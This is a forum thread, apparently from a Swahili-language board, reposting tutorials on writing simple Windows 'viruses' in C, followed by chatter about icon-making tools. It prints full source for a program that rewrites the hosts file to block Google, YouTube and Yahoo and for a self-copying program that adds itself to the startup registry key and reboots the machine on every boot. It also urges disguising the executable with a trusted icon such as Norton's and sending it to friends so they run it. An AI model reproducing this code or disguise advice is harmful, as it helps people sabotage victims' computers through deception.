A Virus Program to Block Websites

[Herbalist Dr MziziMkavu]

A Virus Program to Block Websites

Most of us are familiar with the virus that used to block Orkut and Youtube site. If you are curious about creating such a virus on your own, here is how it can be done. As usual I’ll use my favorite programming language ‘C’ to create this website blocking virus. I will give a brief introduction about this virus before I jump into the technical jargon.This virus has been

exclusively created in ‘C’. So, anyone with a basic knowledge of C will be able to understand the working of the virus. This virus need’s to be clicked only once by the victim. Once it is clicked, it’ll block a list of websites that has been specified in the source code. The victim will never be able to surf those websites unless he re-install’s the operating system. This blocking is

not just confined to IEor Firefox. So once blocked, the site will not appear in any of the browser program.

NOTE: You can also block a website manually. But, here I have created a virus that automates all the steps involved in blocking. The manual blocking process is described in the post

How to Block a Website ?​

Here is the sourcecode of the virus.

#include<stdio.h>
#include<dos.h>
#include<dir.h>char site_list[6][30]={
“google.com”,
“www.google.com”,
“youtube.com”,
“www.youtube.com”,
“yahoo.com”,
“www.yahoo.com”
};
char ip[12]=”127.0.0.1&#8243;;
FILE *target;
int find_root(void);
void block_site(void);
int find_root()
{
int done;
struct ffblk ffblk;//File block structure
done=findfirst(“C:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“C:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“D:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“D:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“E:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“E:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
done=findfirst(“F:\\windows\\system32\\drivers\\etc\\hosts”,&ffblk,FA_DIREC);
/*to determine the root drive*/
if(done==0)
{
target=fopen(“F:\\windows\\system32\\drivers\\etc\\hosts”,”r+”);
/*to open the file*/
return 1;
}
else return 0;
}
void block_site()
{
int i;
fseek(target,0,SEEK_END); /*to move to the end of the file*/
fprintf(target,”\n”);
for(i=0;i<6;i++)
fprintf(target,”%s\t%s\n”,ip,site_list);
fclose(target);
}
void main()
{
int success=0;
success=find_root();
if(success)
block_site();
}

​

How to Compile ?For step-by-step compilation guide, refer my post How to compile C Programs.Testing1. To test, run the compiled module. It will block the sites that is listed in the source code.2. Once you run the file block_Site.exe, restart your

browser program. Then, type the URL of the blocked site and you’ll see the browser showing error

“Page cannot displayed“.3. To remove the virus type the following the Run.

%windir%\system32\drivers\etc​

4. There, open the file named “hosts” using the notepad.At the bottom of the opened file you’ll see something like this

127.0.0.1google.com​

5. Delete all such entries which contain the names of blocked sites.

 

[Herbalist Dr MziziMkavu]

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic

knowledge of C language should be able to understand the working of this virus program.Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any

other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.1. Download the USB_Block.rar file on to your computer.
2. It contains the following 4 files.

• block_usb.c (source code)
• unblock_usb.c (source code)

3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).4. To test this virus, just run the block_usb.exe

file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).

 

[Herbalist Dr MziziMkavu]

How to Change the ICON of an EXE file

Some times it becomes necessary to change the ICON of an executable (.exe) file so that the exe file get’s a new appearence. Many of the Tools such as TuneUP Winstyler does this job by adjusting the Windows to display a custom icon to

the user. But in reality when the file is carried to a different computer, then it shows it’s original ICON itself. This means that inorder to permanantly change the ICON, it is necessary to modify the executable file and embed the ICON inside the file itself. Now when this is done the exe file’s ICON is changed permanantly so that even if you take file to a different computer it

show’s a new icon.For this purpose I have found a nice tool which modifies the exe file and will embed the ICON of your choice into the file itself. ie: The tool changes the exe ICON permanantly.I’ll give you a step-by-step instruction on how to use

this tool to change the icon.1. Goto www.shelllabs.com and download the trial version of Icon Changer and install it (Works on both XP and Vista).2. Right-click on the exe file whose ICON is to be changed.3. Now you will see the option

Change Icon. Click on that option.4. Now the Icon Changer program will open up.5. Icon changer will search for all the ICONS on your system so that you can select any one of those.6. Now select the ICON of your choice and click on SET.7. Now a popup window will appear and ask you to select from either of these two options.

• Change embeded icon.
• Adjust Windows to display custom icon.

Select the first option (Change embeded icon).8. You are done. The ICON get’s changed.

 

[Herbalist Dr MziziMkavu]

A Virus Program to Restart the Computer at Every Startup

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is

loaded.For this, the virus need to be doubleclicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect's this as a virus since I have coded this virus in C. So if you are familiar with C languagethen it's too easy to understand the logic behind the coding.Here is the source code.

#include<stdio.h>
#include<dos.h>
#include<dir.h>int found,drive_no;char buff[128];
void findroot()
{
int done;
struct ffblk ffblk; //File block structure
done=findfirst("C:\\windows\\system",&ffblk,FA_DIREC); //to determine the root drive
if(done==0)
{
done=findfirst("C:\\windows\\system\\sysres.exe",&ffblk,0); //to determine whether the virus is already installed or not
if(done==0)
{
found=1; //means that the system is already infected
return;
}
drive_no=1;
return;
}
done=findfirst("D:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("D:\\windows\\system\\sysres.exe",&ffblk,0);
if
(done==0)
{
found=1;return;
}
drive_no=2;
return;
}
done=findfirst("E:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("E:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=3;
return;
}
done=findfirst("F:\\windows\\system",&ffblk,FA_DIREC);
if(done==0)
{
done=findfirst("F:\\windows\\system\\sysres.exe",&ffblk,0);
if(done==0)
{
found=1;
return;
}
drive_no=4;
return;
}
else
exit(0);
}
void main()
{
FILE *self,*target;
findroot();
if(found==0) //if the system is not already infected
{
self=fopen(_argv[0],"rb"); //The virus file open's itself
switch(drive_no)
{
case 1:
target=fopen("C:\\windows\\system\\sysres.exe","wb"); //to place a copy of itself in a remote place
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
C:\\windows\\system\\ sysres.exe"); //put this file to registry for starup
break;
case 2:
target=fopen("D:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
D:\\windows\\system\\sysres.exe");
break;
case 3:
target=fopen("E:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
E:\\windows\\system\\sysres.exe");
break;
case 4:
target=fopen("F:\\windows\\system\\sysres.exe","wb");
system("REG ADD HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\
CurrentVersion\\Run \/v sres \/t REG_SZ \/d
F:\\windows\\system\\sysres.exe");
break;
default:
exit(0);
}
while(fread(buff,1,1,self)>0)
fwrite(buff,1,1,target);
fcloseall();
}
else
system("shutdown -r -t 0&#8243; //if the system is already infected then just give a command to restart
}


​

 

[Deejay nasmile]

How to Change the ICON of an EXE file

Some times it becomes necessary to change the ICON of an executable (.exe) file so that the exe file get’s a new appearence. Many of the Tools such as TuneUP Winstyler does this job by adjusting the Windows to display a custom icon to

the user. But in reality when the file is carried to a different computer, then it shows it’s original ICON itself. This means that inorder to permanantly change the ICON, it is necessary to modify the executable file and embed the ICON inside the file itself. Now when this is done the exe file’s ICON is changed permanantly so that even if you take file to a different computer it

show’s a new icon.For this purpose I have found a nice tool which modifies the exe file and will embed the ICON of your choice into the file itself. ie: The tool changes the exe ICON permanantly.I’ll give you a step-by-step instruction on how to use

this tool to change the icon.1. Goto www.shelllabs.com and download the trial version of Icon Changer and install it (Works on both XP and Vista).2. Right-click on the exe file whose ICON is to be changed.3. Now you will see the option

Change Icon. Click on that option.4. Now the Icon Changer program will open up.5. Icon changer will search for all the ICONS on your system so that you can select any one of those.6. Now select the ICON of your choice and click on SET.7. Now a popup window will appear and ask you to select from either of these two options.

• Change embeded icon.
• Adjust Windows to display custom icon.

Select the first option (Change embeded icon).8. You are done. The ICON get’s changed.

nimeipenda xana hii ya kuchange .exe icon .Asante sana kwa ku2pa ujuzi kaka.Well done

 

[Deejay nasmile]

Hv kuna software ya ku create icon zako mwenyewe. Mfano kuifanya picha yangu kuwa kama icon ya software flani??

 

[Herbalist Dr MziziMkavu]

Compiling The Scource Code Into Executable Virus.

1. Download the Source Code Here2. The downloaded file will be Sysres.C3. For step-by-step compilation guide, refer my post .How to compile C Programs

Testing And Removing The Virus From Your PC

You can compile and test this virus on your own PC without any fear. To test, just doubleclick the sysres.exe file and restart the system manually. Now onwards ,when every time the PC is booted and the desktop is loaded, your PC will restart automatically again and again.

It will not do any harm apart from automatically restarting your system. After testing it, you can remove the virus by the following steps.
1. Reboot your computer in the SAFE MODE

2. Goto

X:\Windows\System​

(X can be C,D,E or F)3.You will find a file by name sysres.exe, delete it.

4.Type regedit in run.You will goto registry editor.Here navigate to

HKEY_CURRENT_USER\Software\Microsoft\Windows\ CurrentVersion\Run​

There, on the right site you will see an entry by name “sres“.Delete this entry.That’s it.You have removed this Virus successfully.

Logic Behind The Working Of The Virus
If I don’t explain the logic(Algorithm) behind the working of the virus,this post will be incomplete. So I’ll explain the logic in a simplified manner. Here I’ll not explain the technical details of the program. If you have further doubts please pass comments.
LOGIC:

1. First the virus will find the Root partition (Partition on which Windows is installed).2. Next it will determine whether the Virus file is already copied(Already infected) intoX:\Windows\System3. If not it will just place a copy of itself into

X:\Windows\System and makes a registry entry to put this virus file onto the startup.4. Or else if the virus is already found in the X:\Windows\System directory(folder), then it just gives a command to restart the computer.This process is repeated every time the PC is restarted.

NOTE: The system will not be restarted as soon as you double click theSysres.exe file.The restarting process will occur from the next boot of the system.​

AND ONE MORE THING BEFORE YOU LEAVE (This Step is optional)

After you compile, the Sysres.exe file that you get will have a default icon. So if you send this file to your friends they may not click on it since it has a default ICON. So it is possible to change the ICON of this Sysres.exe file into any other ICON that is more trusted and looks attractive.For example you can change the .exe file’s icon into Norton antivirus ICON itself so

that the people seeing this file beleives that it is Norton antivirus. Or you can change it’s ICON into the ICON of any popular and trusted programs so that people will definitely click on it.

 

[Herbalist Dr MziziMkavu]

Hv kuna software ya ku create icon zako mwenyewe. Mfano kuifanya picha yangu kuwa kama icon ya software flani??

Ninafikiri zipo ila mpaka nitafute labda kama kuna Watu wengine wanajuwa watujuze basi

 

[Herbalist Dr MziziMkavu]

How To Make You Own Computer Icons....l

 

[Herbalist Dr MziziMkavu]

Make Icons using a Professional Authoring Tool

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[mtanganyika tz]

Hv kuna software ya ku create icon zako mwenyewe. Mfano kuifanya picha yangu kuwa kama icon ya software flani??

mkuu mbona zipo nyingi! niliyonayo inaitwa "AXIALIS ICON WORKSHOP" ni bomba ile mbaya!